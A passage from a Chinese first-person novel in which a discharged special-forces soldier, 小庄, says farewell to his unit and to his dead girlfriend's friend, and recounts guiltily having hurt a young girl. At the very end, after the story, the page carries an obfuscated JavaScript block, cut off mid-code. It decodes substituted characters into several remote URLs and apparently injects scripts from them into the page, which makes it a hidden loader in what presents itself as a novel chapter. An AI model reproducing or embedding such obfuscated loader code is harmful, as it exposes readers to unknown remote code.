第五章(2 / 2)

你不敢说话,不知道我又怎么了。你小心地压抑着自己的哭声。

我不知道说什么。我还能说什么呢?

5.那些花儿(5)

呵呵,又被你笑话了。丫头,这回你高兴了吧?

“不学无术!”你在电话里面乐不可支,“被逮着了吧?”

我嘿嘿乐。谁说我我都可以不听,但是你说我,我就喜欢听。

“喏!”你笑得喘不过气来,“‘由爱故生忧,由爱故生怖。若离于爱者,无忧亦无怖。’这根本不是你的读者写的,是你的读者引用的!它是大唐三藏法师义净译制的《佛说妙色王因缘经》!还跟我臭拽什么‘爱神比死神更冷酷’!好了!现眼了吧?”

我笑:“是,是!”

“你啊!”你笑得不行了,“不学无术!”

我也知道自己不学无术。我才27岁,我对宗教不感兴趣,我也不是全才啊!何必要求我一定要知道出处呢?

“好了好了!”你笑道,“知道错就好了!继续写你的小说吧!我还等着看呢!注意啊!不许写我的坏话!”——天底下的美眉都是一个心思,就喜欢看自己喜欢的男人出丑。

我心里想,丫头,那还由得了你吗?嘿嘿,你慢慢看吧。

很多年前,我就那么恍恍惚惚地回到了山沟里面的狗头大队。

很多年前,我是一个小兵,一个从战场上下来的小兵。我没有军功,只有一颗变得破碎的心,还有一个悠悠荡荡的灵魂。

我的退伍手续很快就办好了,谁也没有劝我不要退伍,继续留下来,包括何大队,他也没有劝我。

他的大黑脸默默地看着我,没有多说什么。

我也默默地看着他,许久。

“保重。”过了很久,他才轻轻地说——他从来没有这么轻声过。

我鼻头一酸,我真的好想叫他一声“爸爸”,两年了我一直想这么叫他,但到最后我也没有叫出口。

和以前的退伍老兵不一样,我没有和我的武器挥泪告别,走的时候我没见到我的武器,我也不想见。我也没有什么送行仪式,我不想那样。

狗头高中队到最后也没有说一句话——他知道我恨他——其实我后来慢慢长大了,也理解他了。不然他带老婆孩子来看病,我是不会搭理他的。我知道他是军人,而我只是一个小兵,这是没有办法的事情。

而我,也不再是个小兵了。

清点完我的凯芙拉头盔和战备物资,我把所有的军旅往事都装进那个经历风吹雨打的91式迷彩大背囊。背囊上面打着几个细密的补丁,然后我背着它走出兵楼。

马达和我们特勤队的弟兄在楼下散乱地站着或者蹲着。我一下去他们都围上来了。但是,我没有说话,他们也没有说话。我还看到兵楼上几乎每个窗户都露出了各个分队弟兄的光头,他们都默默地看着我。

我穿过马达他们,默默地走向办公楼前的停车场。我父亲派了一辆奔驰来接我,那个时候他的生意已经做得很大了,但是他没有来。我没有让他来,我不想让他知道什么,我不想让他心疼我。

来接我的人是我父亲当篮球教练时候的好朋友。他当时是体校的摔跤教练,现在是我父亲的副手,一伙体育界的老油子开了一个公司。只要不是我父亲来,我心里就有数,大队常委会对我父亲说,但是不会对外人说。

我背着我的大背囊,穿着报名参军时候的牛仔裤和李宁的夹克衫,脚下是一双旅游鞋。我孤独地走向那辆黑色的奔驰。我的身后是几百双战友兄弟的眼睛。我就那么在他们的注视下,离开他们。我真的有泪水,但是我强忍着。

“敬礼——”我听出来了,是马达班长。

随即,在我的回忆里面,我看到楼前楼上的战友弟兄整齐地敬礼。我的眼泪一下子就下来了,但是我不敢回头,我流着眼泪走。他们在后面默默地看着我一步步走远。

我的那个叔叔默默地看着我,他也当过兵,是老侦察兵。他知道这种感情,所以,他对我轻轻地说:“你要跟他们告别一下。”

这个叔叔是从小看着我长大的,我很听他的话。我就立正,背着一背囊的青春利落地向后转。我看见几百个弟兄在各个角落向我——一个即将离开他们的小兵弟兄敬礼。

我的眼泪还在流,我的视线模糊了,所以我不知道他们有没有哭。我缓缓举起我的右手,久久地敬礼——这是我最后的一个军礼。我和我的弟兄们,没有语言,只有一个军礼。

当我的泪水流淌得差不多的时候,我看见了何大队。他站在训练场的门口,我知道他是赶到门口的。他举手向我——一个离去的小兵敬礼。

我看不清他的大黑脸,一个原因是远,另一个是我的泪水又出来了。我的手还举着,我抽泣着从嘴里缓缓吐出两个字:“爸爸……”声音很轻,只有我自己可以听见,却永远留在我的记忆中。

我流着泪和我的青春、我的狗头大队、我的军旅生涯敬礼告别。然后,我缓缓把右手放下,咬牙转身离开。我在他们的注视下卸下我的大背囊,那是我在外形上最后一点儿陆军特种兵的痕迹(我不知道现在有多少野战部队装备大背囊,我们当时只有特种部队才有),我把它放在了车的后备厢。然后,我就上车了,我不敢看他们,但我知道,他们的手都没有放下。

车缓缓地开过我们狗头大队的院子。我看见了所有的一切:训练场、角落的荣誉室、民航飞机壳子、狗班的狗房、车辆维修所、加油站、车库、远处的直升机、中队的大门……它们离我越来越远。

到了大门口,我下车把门条交给警通中队的纠察班长。他什么话都没有说,我上车离开。然后我听见他在后面一声高喊:“全体——敬礼!”

唰——我知道,他们是持枪礼。

我一下子哭出声来,真的是哇哇大哭。我知道,我再也不会回来了。

我的狗头大队。

车在盘山公路上走着,奔驰很舒服,但我真的不是很习惯。

那个叔叔问我:“现在上高速吗?”

我擦擦眼泪,按下车窗的自动开关——我探过一次家,知道这个东西怎么使,开始是真的不知道——风一下子吹进来了。

我说:“去一趟城里,我要去军区总院一趟。”

小菲昨天给我打过电话,她有东西要给我。

我也要和她告别。我知道,我和她永远不会再见面了。

一见她,我就会想起小影。

6.那些花儿(6)

我真的不知道该如何表达我对你的感激,丫头。为什么你要对我如此宽容?

是的,我知道你爱我。但是,连我这个一向没有掩饰的人都觉得不该写出来的事情,你却坚持要我写。你说你希望让人们看到一个完整的小庄,不要管别人说什么。在这个故事里面你也成为了人物之一,你希望自己也是完整的。

你知道这对你意味着什么吗,丫头?

为什么你一定坚持要我写呢?我不写就不能再见你吗?我不写就不能再和你打电话吗?我不写就不是你心中的小庄,而是个没有用处的精神阳痿的男人?

其实,我到现在才知道,女孩一旦坚强起来,比谁都坚强。

好的,我答应你,我写——不管别人说什么。

这是我和你的故事,即便不被人理解,即便招来非议,我想你的愿望就是给大家展示一个真实的完整的小庄——也给大家展示一个真实的完整的你。

你真的不容易,因为,你爱上的是我这么个人。我对你不好,对不起。

呵呵,不说这种虚伪的话了,还是继续我的小说吧。

天快黑了,车在街道上穿行,车流渐渐多起来了。我不说话,就那么开着车,也没有放音乐。你坐在后面,哭累了,也哭够了。你抱着自己的肩膀无声地抽泣——我在后视镜中无意看到的,然后就不敢看了。

我不知道应该怎么收场,这个局面是我从来没有遇到过的。这叫什么事儿啊?自己怎么能这样做呢?我真的很后悔,但不知道该怎么跟你说,所以干脆就不说了,因为我知道以后也不会再见你了——换了谁,谁还敢见我呢?

我开车拐向你家小区的环线。

“你……你就这么把我送回去啊?”你怯生生地问。

我不敢从后视镜看你:“你的意思呢?我跟你回家负荆请罪?你真的想把事情闹大吗?”

我的口气是比较强硬的,说实话,我知道这个在法律上不算什么,你老子老妈也不能奈何我什么,你老子又不是何大队,能把我怎么样啊?我的强硬就是提醒你,不要头脑发热非把事情闹大。就算闹大,这其实对我没有蛋子影响,我是过分了,但是没有犯法啊!这种事情闹出来对你有什么好处?

你不敢说话了,我就继续开车。

快接近你家小区的大门时,你说话了:“我不敢这么回去……我这个样子怎么跟我妈妈说啊?”

你又开始抽泣,我心里就开始疼,也很内疚。

我把车停在路边:“你说怎么办?”

“你能带我去买几件衣服吗?我身上有钱,我妈妈知道我喜欢买衣服……她不会怀疑的……”你忍住眼泪,“好吗?我求你了,小庄哥哥。”

我心里一激灵——你干吗还求我呢?是我不对啊!

说实话那时候你是真的不鸟了,鸟不起来了。我把车掉头,开往商业区,我知道在哪儿买女孩衣服。

我还是不说话,你也不敢说话。沉默是我和你当时唯一的选择。

我拿着装着全套新衣服的几个购物袋从商场出来,你当时就惊讶了,因为它们都是最贵的,至于式样和颜色你是绝对不会挑剔的,这个自信我还是有的。这些衣服绝对是青春女孩的衣服里面最贵的,甚至连内衣都是。你现在知道我为什么知道你穿什么型号的内衣了吧?我只要看你一眼,就知道得差不多了。

我不知道该怎么弥补我心中的内疚,只能这样。我打开车门把购物袋和你给我的牡丹卡塞给你:“没用你的卡,你在后面换吧。”

我把后门关上,在边上抽烟,左顾右盼,也是给你放风——这个狗日的城市真男人不算多,但是无聊的男人是真多,万一有人偷看呢?

你把玻璃摇开一条缝:“小庄哥哥……”

我回头,看见你红肿的眼睛,内疚再次浮现出来:“什么事?”

我的声音是颤抖的——你真的很像小影,我怎么可能这么对待小影呢?我的内疚不仅仅是因为你,也因为……梦中的女孩。

“我可以去你家洗个澡吗?”你小心地问。

我一怔——不会吧?你疯了?

“我就算换了衣服,我妈妈也能看出来。”你说。

我想想也是,谁的女儿谁的宝,怎么能看不出来呢?但是,你怎么会那么信任我呢?丫头,我粗暴地伤害了你啊!

“求你好吗?我不敢这么回去。”你又怯生生地说。

我的心马上开始绞痛——我他妈的还是人吗?

我什么都不说就上车开车了。你一句话都不说,我也一句话都不说。我说过了,沉默是我们在不能说话的时候最好的选择。

后来你告诉我,你知道我不算是坏人。因为我要得手早就得手了,你不敢反抗,也不敢告,但是我没有,所以你知道,我还不能算是彻底的坏人,你看出来我很内疚。你就是从我给你买的衣服和我没有用你的牡丹卡看出来的。

所以,你敢去我家洗澡,你也确实需要洗个澡再回去,不然就真的麻烦了——你老子老妈肯定把你审得烦得不行。

很多事情,其实孩子是不愿意告诉家长的。不是说孩子错或者家长错,其实都没有错,还是我在部队学的道理好使——一个层次和一个层次考虑的东西不一样,所以很难沟通。

这种事情,怎么跟家长说呢?

我也不说话,就那么开车。

我当时住在西北环线的一个小区。

很快就到了。

小区很安静,我喜欢安静,这里的人也都互相不认识——我喜欢陌生喜欢不认识,我不喜欢谁跟谁都认识,谁都知道谁那点破事的感觉——都说那是中华民族的传统美德远亲不如近邻,但是我觉得是人就要有隐私,干吗搞得全世界都知道呢?

当时也是一楼,我喜欢一楼因为不用爬楼。

够懒吗,我退伍以后变化得很厉害——因为我要和过去彻底告别,我直到现在才总结出来——当时是无意识的,就是在改变自己过去的所有习惯,包括当时留了长发也是这样。

啪!

灯开了,你小心地抱着自己的肩膀走进来。

我把洗手间的开水打开,试试温度,然后调整好了,就从抽屉里面拿出一条新的大浴巾——我喜欢自己没事的时候逛超市,用着用不着先买了再说省得以后再来,一次采购的东西恨不得用一年的——扔在沙发上,然后拿出一盒没有开封的烟:

“你自己在这儿洗吧,我出去在车里等你。洗完了打我手机,我送你回去。”我准备出去。

“我害怕……”你小心地说。

我回头看你可怜巴巴的样子:“那怎么办呢?”

我的声音还是颤抖的,我实在见不得女孩这样——尤其是被我整成这样的女孩。

“你在客厅好不好?”

“你不怕我吗?”

“怕。”

“那干吗让我留下?”

随后你说了一句经典到了极点的话:“这是你家,你就算出去了,但你想进来怎么都能进得来;你出去和在客厅有什么区别呢?我知道你不是坏人,对吗?”

我没有说话,心里在疼。

“你就在客厅,别进来,好吗?”你可怜巴巴地说,“我求你了,小庄哥哥。我不敢一个人在这儿,我真的会害怕。我求你了!你也别进来,好吗?”

我还能说什么呢?我点头,在客厅坐下了。你拿着浴巾还有新买的衣服进去了,把门插上。

然后我打开电视,记不清放的是什么节目了,反正是淡得没味道的东西。

然后我就听见哗啦啦的水声。我的脑子一片空白,什么都没有想,只是在发呆。

我真的是在克制自己,换了哪个男人只要还有点儿人味现在就不会往歪里面去想,我克制的是往事像竹笋一样想冒尖钻出来的感觉。我脑子里面反复强调的一句话是:不去想,什么都没有发生过。

这么多年了,我就是这样过来的。

丫头,你现在知道我为什么有时候会很反常了吧?这不是你说的艺术家的忧郁,那是扯淡。原因只有一个,你太像小影了,你在我身边,我既快乐又伤感,就是这样。

换完衣服出来后你又变得青春靓丽了。我看了你一眼,我还没有从那种克制往事的情绪里面走出来。

你看着我,小心地问:“小庄哥哥,我可以走了吗?”

我起身,你本能地往后退了一步,我没说什么,这很正常。然后我带你出去,把你送回家。

然后呢?

然后我去了酒吧街喝酒,又带回家一个漂亮美眉。当然她不是职业的,你知道我从来不干那种事情。这个世界既然让人心碎,那么总会有心碎的人,无论是糙爷们还是漂亮美眉都会心碎。于是心碎的人碰到一起,你就什么都不要问了吧。

就是这样简单,我其实就该这样活下去——这就是我的命。

你确实不该再给我打电话。要不怎么说,都是命呢?

7.那些花儿(7)

再见到小菲时,真的恍如隔世。

那个时候正在流行罗大佑。和所有部队大院一样,军区总院中午吃饭的时候也会放音乐,和野战军不一样的是,军区总院放的不是军歌和革命歌曲,主要是流行音乐,关键就看放音乐的小兵喜欢什么了。那年那个小兵喜欢罗大佑,于是在中午,满总院都是罗大佑的歌声。

我记得很清楚,歌名是《你的样子》。我们在这个音乐声中见面了。

她刚刚从食堂出来,和几个女兵拿着饭盒在路上走,然后就看见了我。那几个女兵认识我,小心翼翼地跟我打了个招呼就走了。我和小菲对视着,都不说话,也都说不出来。只有罗大佑在军区总院的上空孤独地唱着:

我听到了传来的谁的声音,

像那梦里呜咽中的小河。

我看到的远去的谁的步伐,

遮住告别时哀伤的眼神……

不变的你,伫立在茫茫的尘世中,

聪明的孩子,提着心爱的灯笼;

潇洒的你,将心事化尽尘缘中,

孤独的孩子,你是造物的恩宠……

罗大佑用他嘶哑磁性的声音孤独地吟唱着。我不得不指出,我很少佩服什么人,尤其是搞艺术的,但是罗大佑绝对值得我顶礼膜拜。对于他的音乐,我基本上不能说是喜欢了,应该说是基本上不敢听、不能听,一听就要掉泪。我有他的碟,但我就是不听,不然马上我就不行了,根本没法继续写下去。

我当时恨死这个人了,因为我当时就想哭了。但是这是人来人往的军区总院,不光有部队,还有很多地方的人,我当然不能哭,不能给当兵的人丢脸——我当时刚刚脱下军装,脑子里面的军装还没有完全脱掉。

小菲看着我,她的眼圈一点点变红了,眼泪一点点溢满眼睛,然后就掉下来了。

吧嗒。

我赶紧闭上眼睛,把眼泪咽下去。再睁开眼时,小菲已经走到跟前。

“什么时候走?”她问我。

“马上。”

“这么急?”小菲有点儿意外,但随即就明白了,“要不我找个车送你到车站?几点的火车?”

“我爸爸派车来接我。”我说。

小菲点点头:“早走,比晚走好。”

我不去想她话里的意思,我努力不去思想。

小菲擦擦眼睛:“小……”她随即就不说小影的名字了,“她,她有东西留给你。”

我没说话,我不敢说话,一说话就要哭。

“跟我来吧,我拿给你。”她在前面带路。

我在后面跟着,然后,我看见路上真的有小影:她的黑白遗照、黑色纱布、挽联、各个单位部门送的花圈,还有她的很多姐妹写的挽诗和散文……

我连看都不敢看,在罗大佑沧桑的歌声中,我默默地跟着小菲走到了女兵宿舍的走廊。熟悉的女孩宿舍特有的味道一下子扑面而来,走廊里面还是很乱,我还是能听到自己的脚步声,一点儿都没有变。

我努力不去想往日是如何走入这里的,我努力不去想那时候带着什么样子的期待和憧憬。我不去想,压制自己不去想。

小菲在前面带着我——其实不用她带,虽然我来这里的次数不多,但是在梦里,我几乎次次都来。

但是我现在什么都不敢想。

小菲走到她们宿舍门口,她推开门,然后掀起帘子:“进来吧。”

我一下子看见了小影的床——空了。

小影的床,真的空了,什么都没有留下。我一下子就控制不住了,眼泪哗啦啦地流了下来。

屋里还有两个女兵,见我进来都站起来了,但也不敢多说话。

小菲说:“你们先出去吧。”

她们就出去了,谁都不敢看我。我无声地站在门口,看着我的小影的床。

小菲把我拉进来,把门关上。

“哭出来就好点了,哭吧。”小菲说着说着也忍不住哭了。

我流着眼泪,慢慢走到小影的床前。她在下铺,她是个爱干净的女孩,每次都把床收拾得很整齐、很温馨;她也是个爱舒服的女孩,每次都把床铺得软绵绵的;她还是个爱香味的女孩,所以她的床上总是香喷喷的。

我把手放在空空的床板上,慢慢跪下,让自己的整个上半身都趴在床上,脸紧紧地贴着带着木渣的粗糙床板,感觉着小影的存在。但是,她好像从来没有来过这里,她去哪儿了呢?

我不敢继续往下想,就那么闭着眼睛,哭了好一会儿。小菲慢慢走过来,坐在我旁边的床板上。

我睁开眼睛,看见了她的手。她轻轻地抚摩着我的脸,擦去我的泪水:“这是小影留给你的。”

小菲把一个蓝色封皮的日记本轻轻地放在我的眼前——这种笔记本我们都发了一个。

我起来把日记本打开,熟悉而浓郁的芬芳扑面而来——是的,是那束风干的野兰花,它夹在日记本里面,时间越久,它就越香。它的香味,和小影的香味一样。

打开日记本,就是那首小诗还有我熟悉的细细密密的娟秀笔迹。

我不知道她还会写诗,她从来没有和我说过。至于日记本里面的内容,我至今也没有看过,我赶紧合上了。

小菲拿出那个泥猴子:“这个也是小影的,你如果要带走也可以。不过我希望,你把它留给我,好吗?”

我点点头——我更不敢看这个泥猴子了。

我闭上眼,泪水唰唰地流下来。小菲的手在我的眼睛周围擦拭着,她的声音颤抖:“你要是难受,就让我抱着你吧。”

我一下子扑在她的怀里哇哇大哭,像个孩子一样。小菲紧紧地抱着我,她也哭出了声。

我知道自己不是男子汉,我的小影消失了,你们凭什么不让我哭呢?凭什么呢?

我真的是心如刀割啊。我知道我再也见不到小影了,她在军区总院的床都空了,你们说我还能到哪儿去找我的小影呢?我眼睁睁地看着我的小影消失了,你们凭什么还要我继续当这个兵呢?你们谁有这个资格说我不是个合格的军人、不是个合格的战士、不是个合格的特种兵呢?

我连我最心爱的女孩都保护不了,我一身武艺有什么用啊?我不是铁血战将,我就是喜欢我的小影!我就是为了她才参军的,我没有那么伟大崇高的理想,我就是为了爱情参军的!但她却消失在我的面前,我无能为力啊!

我扑在小菲的怀里哭着,这是小影消失以后我哭得最痛快的一次。我从来没有告诉别人我有多伤心。我爸爸妈妈至今也不知道这些事情,他们都不认识小影,中学早恋那点事情谁会跟家长说啊?退伍以后我就更不敢提及这些事情了。我用了很久才学会什么叫没心没肺,不然我怎么活下去啊?

我哭了很久很久——你们18岁的时候谁敢说经过我这样的磨难就站出来跟我叫板!

小菲紧紧地抱着我,她轻轻地吻我的光头,泪水不断地滑落到我的光头上:“好了,别哭了。”

她吻我的眼睛,吻着我18岁的泪水。

她吻我的鼻子,吻我的脸。嘴里轻轻地说着:“好了,别哭了。”

然后,她的唇轻轻地点着我的唇:“好了,别哭了……”

然后,她的唇紧紧地贴在我的唇上,她的舌头伸进来。她还在说着:“好了,别哭了……”

我依然在哭,我紧紧地抱着她。

我们紧紧地吻在一起。

脸上,还流着眼泪。

心里,还流着鲜血。

8.终点?起点

我离开特种大队的时候,眼泪一直没有停止过。当车开出大门,我发疯一样开始鬼哭狼嚎,最后的血性就在这鬼哭狼嚎之中暴露无遗。日后,我还哭过几次,但是没有一次如同那次生命中最重要的裂变一样,充满了撕心裂肺的痛楚。

其实,我刚才还哭了一次,因为我的感情生活发生了一点儿危机。我不想多说了,因为那属于我的个人隐私。我只是想说——我小庄虽然走过那么多感情的弯路,但我还是一个真正的男人,我爱她,就会爱到底。或许郁闷是创作的源泉?我也不知道,总之,我打开已经变得陌生的word文档,开始讲述自己过去的故事。

和过去一样,这部小说也是我的心路历程,还是一颗子弹的轨迹。

我没有指望它能超越自己的第一部小说,因为我或许很难再达到当时的状态。经过一年的是是非非,我的心伤痕累累,外强中干的我已经经受了太多的折腾。我累了,我希望在自己的创作当中得到真正的放松。

我的青春岁月已经走到了最后的尾巴,我不想自己最后还是一个孤独的游魂。呵呵,似乎扯远了。但是小庄还是小庄,他在这里讲述的是一个男人成长的故事,是发生在小庄身上的真实故事。

我是一个无比热爱我的狗头大队的狗头兵,脱下这身军装和扒了我的皮差不多。但是该发生的早晚会发生,我不得不接受自己不再是一个特种兵的现实。

车在盘山公路上走,我的表情渐渐缓和下来。泪水还在脸上,但是已经不再流淌,因为我已经失声了。我从来没有这样哭过,在这以前的一次,是因为小影……我的爱人就这样离开我了,而我无能为力。

我痛恨自己,也痛恨自己是个军人,如果我不是军人,那么我会去报仇。但问题是,我是军人,我不能违反纪律,于是我就决定不再做军人。我用自我虐待来惩罚自己,犹如我现在一样,在电脑前面码字其实是一种自虐。我让自己的血流干,这样我才会不痛。

我就那么离开了我的狗头大队,离开了我的中国陆军特种部队。我回到了我的家乡,它是一个很小的北方城市,距离北京400公里左右。这是我出生的地方,也是我长大的地方,更是我的起点——离开家乡独立成人的起点,也是我这三年士兵生涯的终点。

现在它又是一个起点。因为,三个月后,我就会离开家乡,去上我的大学。这三个月如何打发?我父亲的意思是让我在家休息。

其实我一直没有交代我家的情况。我从小是在一个破碎的家庭长大的,我的父母关系不好,我见惯了那种争吵。在我当兵的岁月,他们终于离婚了。我不愿意过问大人的事情,因为我觉得感情的事情别人都是无能为力的,一旦他们决定分开就不可能在一起了。我回到家乡,见到了我的父亲,他已经是一个公司的老总。我还见到了我的母亲,她一直在家,和我父亲打财产分割官司。我没心情处理这些事情,于是我决定出去游历。三个月,我可以走遍这个大陆的天南海北。

我收拾好自己的91迷彩大背囊,把指北针和那把在国外特种兵训练营受训颁发的特战匕首装进去。我还带了一个手机,是父亲送给我的,当时还很稀罕,是9字头的。其余的就是美能达相机、一个日记本,还有一些日常用品。我带了足够的现金,那时候我们那儿银行卡还不流通,所以就没有银行卡。

现在翻出当时的日记来看,其实内容很简单,只有寥寥几笔。是的,一个人心碎了,就没有什么感觉了。我把小影留下的那个蓝色封皮的日记本收藏起来了,至今也不敢多看。至于那些维和纪念品,我都放入军用挎包里面,当然也不会带在身上。我把自己该带的都放进了背囊,然后就出发了。

站在我们那个城市的车站,我的心确实感到凄凉。往事一幕一幕再次出现:剃了光头的我穿着宽大的冬训服混杂在一群新兵蛋子中间,我看见了小影和那些女兵……我感觉到自己的泪水流出来了,于是我闭上眼睛。再睁开眼睛的时候,一切都是空的。

是的,长夜当哭,我盼一盼,再顾一顾,一场空空,什么都没有。

我含着眼泪,踏上了南行的列车。我要去的地方是云南,我以前一直想去丽江,但是没有去成。这次我一定要去,因为那里距离小影很远。

写到这里我想到我现在爱的女孩曾经跟我说过的一句话:“如果你死了,我会去西藏隐居,因为那里距离你和天堂最近。”我听到这句话的时候,久违的眼泪一下子出来了。爱情距离风尘满身的我已经很遥远,但是我就不配拥有爱情了吗?

终点,也是起点。

一年前我在这里开始写小说,一年后我又在这里写小说。

很多年以前,我从故乡的车站出发去参军,后来又从故乡的车站出发去流浪。

终点,起点。

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 